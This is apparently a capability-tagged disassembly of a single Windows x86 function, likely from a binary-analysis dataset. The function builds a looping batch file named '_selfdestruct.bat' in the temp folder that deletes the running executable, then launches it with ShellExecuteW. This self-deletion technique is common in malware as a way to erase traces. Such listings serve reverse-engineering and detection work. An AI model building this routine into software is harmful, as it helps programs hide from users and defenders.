Function at 0x405cf0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x648
mov eax, dword [0x4d9540]
mov ecx, str.:RepeatDEL___s_if_exist___s__goto_RepeatDEL___s_
push ebx
push esi
test ecx, ecx
push edi
mov dword [ebp - 0x10], eax
je 0x405d5b
mov edx, ecx
shr edx, 0x10
jne 0x405d24
xor eax, eax
mov ax, cx
lea ecx, [ebp - 0x10]
push eax
call fcn.0040ff70
jmp 0x405d5b
push str.:RepeatDEL___s_if_exist___s__goto_RepeatDEL___s_
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
test esi, esi
je 0x405d5b
push esi
lea ecx, [ebp - 0x10]
call fcn.004012f0
test eax, eax
je 0x405d5b
mov edi, dword [ebp - 0x10]
lea ecx, [esi + esi]
mov edx, ecx
mov esi, str.:RepeatDEL___s_if_exist___s__goto_RepeatDEL___s_
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x4d9540]
mov ecx, str._selfdestruct.bat
test ecx, ecx
mov dword [ebp - 8], eax
jne 0x405d76
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
xor eax, eax
jmp 0x405d83
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push str._selfdestruct.bat
call ebx
push str._selfdestruct.bat
push eax
mov eax, dword [0x4ecd48]
lea ecx, [ebp - 8]
push eax
mov edx, dword [eax - 8]
push edx
call fcn.004017b0
lea eax, [ebp - 8]
lea ecx, [ebp - 0x18]
push eax
call fcn.00401200
lea ecx, [ebp - 8]
call fcn.004014c0
mov edx, dword [0x4e3a2c]
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x234]
mov dword [ebp - 0x238], edx
mov dword [ebp - 0x440], edx
rep stosd dword es:[edi], eax
mov ecx, 0x81
lea edi, [ebp - 0x43c]
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, 0x81
lea edi, [ebp - 0x644]
mov dword [ebp - 0x648], edx
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x440]
push ecx
push 0x104
call esi
lea edx, [ebp - 0x648]
push edx
push 0x104
call esi
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x440]
push eax
push ecx
call fcn.004c60da
add esp, 8
lea edx, [ebp - 0x238]
push 0x104
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x4d9540]
push ecx
mov edi, esp
lea ecx, [ebp - 0x238]
test ecx, ecx
mov dword [edi], eax
je 0x405ea1
lea edx, [ebp - 0x238]
shr edx, 0x10
jne 0x405e6d
xor eax, eax
lea ecx, [ebp - 0x238]
mov ax, cx
mov ecx, edi
push eax
call fcn.0040ff70
jmp 0x405ea1
lea edx, [ebp - 0x238]
push edx
call ebx
mov esi, eax
test esi, esi
je 0x405ea1
push esi
mov ecx, edi
call fcn.004012f0
test eax, eax
je 0x405ea1
mov edi, dword [edi]
lea ecx, [esi + esi]
mov eax, ecx
lea esi, [ebp - 0x238]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x1c]
push ecx
call fcn.004a7480
add esp, 8
lea edx, [ebp - 0x440]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 0x24], eax
je 0x406114
mov eax, dword [0x4d9540]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x1c]
push ecx
push eax
push eax
lea eax, [ebp - 4]
push edx
push eax
call fcn.00401a70
mov ecx, 0x4d9a3c
add esp, 0x14
test ecx, ecx
je 0x4060a0
push ecx
call ebx
mov ebx, eax
test ebx, ebx
je 0x4060a0
mov edx, 0x4d9a34
test edx, edx
jne 0x405f21
mov dword [ebp - 8], edx
jmp 0x405f2f
push 0x4d9a34
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 8], eax
mov esi, dword [ebp - 4]
xor edi, edi
mov eax, dword [esi - 8]
lea eax, [esi + eax*2]
cmp esi, eax
mov dword [ebp - 0xc], eax
jae 0x4060a3
push 0x4d9a3c
push esi
call fcn.004c546f
add esp, 8
test eax, eax
je 0x405f6d
lea esi, [eax + ebx*2]
push 0x4d9a3c
push esi
inc edi
call fcn.004c546f
add esp, 8
test eax, eax
jne 0x405f57
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [esi + eax*2 + 2]
mov eax, dword [ebp - 0xc]
cmp esi, eax
jb 0x405f45
test edi, edi
jle 0x4060a0
lea ecx, [ebp - 4]
call fcn.00401380
mov eax, dword [ebp - 8]
mov esi, dword [ebp - 4]
sub eax, ebx
imul eax, edi
mov ecx, dword [esi - 8]
mov dword [ebp - 0x14], ecx
add eax, ecx
mov ecx, dword [esi - 4]
mov dword [ebp - 0x20], eax
cmp ecx, eax
jl 0x405fb2
cmp dword [esi - 0xc], 1
jle 0x405fee
lea edi, [esi - 0xc]
push eax
lea ecx, [ebp - 4]
mov dword [ebp - 0xc], edi
call fcn.004012f0
test eax, eax
je 0x4060a0
mov ecx, dword [edi + 4]
mov edi, dword [ebp - 4]
shl ecx, 1
mov edx, ecx
mov eax, dword [ebp - 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00401350
mov esi, dword [ebp - 4]
mov eax, dword [ebp - 0x20]
mov ecx, dword [esi - 8]
lea ecx, [esi + ecx*2]
cmp esi, ecx
mov dword [ebp - 0xc], ecx
jae 0x40609d
push 0x4d9a3c
push esi
call fcn.004c546f
mov edi, eax
add esp, 8
test edi, edi
je 0x406081
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov edx, edi
sub edx, eax
mov eax, dword [ebp - 0x14]
sar edx, 1
sub eax, edx
lea esi, [ecx + ecx]
sub eax, ebx
lea edx, [edi + ebx*2]
add eax, eax
lea ecx, [esi + edi]
push eax
push edx
push ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
call fcn.004c5570
mov ecx, esi
mov esi, 0x4d9a34
mov eax, ecx
mov edx, dword [ebp - 8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [ebp - 0x14]
and ecx, 3
sub edx, ebx
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
add eax, edx
push 0x4d9a3c
push esi
mov word [ecx + esi], 0
mov dword [ebp - 0x14], eax
call fcn.004c546f
mov edi, eax
add esp, 0x14
test edi, edi
jne 0x406013
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [esi + eax*2 + 2]
mov eax, dword [ebp - 0xc]
cmp esi, eax
jb 0x405fff
mov esi, dword [ebp - 4]
mov eax, dword [ebp - 0x20]
mov dword [esi - 8], eax
mov esi, dword [ebp - 4]
test esi, esi
jne 0x4060ab
xor eax, eax
jmp 0x4060d1
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [eax + eax + 2]
mov eax, edi
add eax, 3
and al, 0xfc
call fcn.004c5440
mov eax, esp
push 0
push edi
push esi
push eax
call fcn.00406140
mov esi, dword [ebp - 4]
mov edx, dword [esi - 8]
mov esi, dword [ebp - 0x24]
lea ecx, [ebp - 0x30]
push 0
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x648]
push 0
push eax
lea ecx, [ebp - 0x440]
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 4]
call fcn.004014c0
lea ecx, [ebp - 0x1c]
call fcn.004014c0
lea ecx, [ebp - 0x18]
call fcn.004014c0
lea ecx, [ebp - 0x10]
call fcn.004014c0
lea esp, [ebp - 0x654]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret